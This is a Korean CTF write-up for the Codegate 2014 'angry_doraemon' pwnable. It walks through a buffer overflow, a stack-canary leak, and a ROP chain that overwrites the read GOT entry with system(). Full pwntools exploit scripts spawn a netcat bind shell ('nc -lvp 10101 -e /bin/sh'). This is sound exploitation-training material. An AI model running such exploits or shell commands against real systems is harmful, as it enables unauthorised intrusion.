[Codegate 2014] angry_doraemon
angry_doraemon 문제입니다.
main 함수에서 8888 포트로 연결하네요.
이렇게 6가지의 Attack menu가 나옵니다.
여러 메뉴들을 입력해봤는데, 5. Fist attack에서 r을 입력하면 special attack이 나옵니다.
분석해봅시다.
이 부분인데, 4byte 받아서 call 해주지만 chaining을 못하고, 그것보다 맨 앞 바이트가 \x08이 아닌지 필터링합니다. 즉, plt를 쓰지 못 합니다.
안타깝지만 일단 pass 하겠습니다.
또 의심 가는 부분이 있습니다.
제가 뭘 선택했는지 알려줍니다. 개행 문자 때문에 출력도 이상하게 되는데… canary leak의 냄새가..?
read 0x6E. BOF 취약점입니다!
일단 첫 바이트가 y여야 하는 것 같습니다.
buf와 v8(canary)까지의 거리는 0x16-0xc=10입니다.
y를 10개 넣어보겠습니다.
1 2 3 4 5 6 7 8 9 10 |
from pwn import *
s = remote('localhost', 8888)
s.sendlineafter('>', '4') s.sendafter('(y/n) ', 'y'*10)
s.recvuntil('y'*10)
print hex(u32(s.recv(4))) |
끝 1byte가 NULL인 Canary인 것 같습니다.
1 2 3 4 5 6 7 8 9 10 |
from pwn import *
s = remote('localhost', 8888)
s.sendlineafter('>', '4') s.sendafter('(y/n) ', 'y'*11)
s.recvuntil('y'*11)
print hex(u32('\x00' + s.recv(3))) |
다시 y를 11개 넣고 leak 해보겠습니다.
그리고 y에 덮인 NULL byte를 추가해서 언패킹합니다.
정상적으로 Canary가 leak됩니다.
그럼 추가로 더 작성해서 ROP 코드를 작성하겠습니다.
일단 입출력은 read, write 함수를 이용할 것입니다.
파라미터가 3개이기 때문에 pppr gadget을 구해줘야 합니다.
binary에 system 함수가 없기 때문에, offset을 구해줘야 합니다.
pppr : 0x08048b2c
read – system offset : 0x99a10
시나리오는 ‘A’*10 + canary + 12(dummy)로 Return address로 접근합니다. 그리고 writeable한 주소에 리버스 커넥션을 위한 ‘nc –lvp 10101 –e /bin/sh’ 커맨드를 입력합니다. read got를 leak하고 system 함수로 덮어줍니다. read를 커맨드와 함께 호출합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
from pwn import *
s = remote('localhost', 8888) e = ELF('./angry_doraemon')
pppr = 0x08048b2c
read_plt = e.plt['read'] read_got = e.got['read'] write_plt = e.plt['write']
offset = 0x99a10 #read - system cmd = 'nc -lvp 10101 -e /bin/sh'
stdin = 0 stdout = 1
s.sendlineafter('>', '4') s.sendafter('(y/n) ', 'y'*11)
s.recvuntil('y'*11)
canary = u32('\x00' + s.recv(3)) print "[+] Canary leak : " + hex(canary)
s.close()
##############################################3
s = remote('localhost', 8888)
s.sendlineafter('>', '4')
#Access the return address payload = "" payload += 'A'*10 payload += p32(canary) payload += 'A'*12
#Input command payload += p32(read_plt) payload += p32(pppr) payload += p32(4) payload += p32(e.bss()) payload += p32(len(cmd)+1)
#Output read_add payload += p32(write_plt) payload += p32(pppr) payload += p32(4) payload += p32(read_got) payload += p32(4)
#Input system_add payload += p32(read_plt) payload += p32(pppr) payload += p32(4) payload += p32(read_got) payload += p32(4)
#Call read_plt(system) payload += p32(read_plt) payload += "AAAA" payload += p32(e.bss())
s.sendlineafter('(y/n) ', payload)
sleep(0.5)
s.sendline(cmd) read = u32(s.recv(4)) system = read - offset print '[+] read() address : ' + hex(read) print '[+] system() address : ' + hex(system) s.send(p32(system))
print '[*] Go "nc localhost 10101"' |
시나리오대로 코드를 작성했습니다.
root 쉘을 취득했습니다.
'System&Write up > CTF' 카테고리의 다른 글
[Codegate 2014] nuclear (0) | 2018.01.31 |
---|---|
[HDCON 2013] luckyzzang (0) | 2018.01.30 |
[Codegate 2017] babypwn (0) | 2018.01.29 |
[Pico CTF 2013] rop4 (0) | 2018.01.21 |
[Pico CTF 2013] rop3 (0) | 2018.01.20 |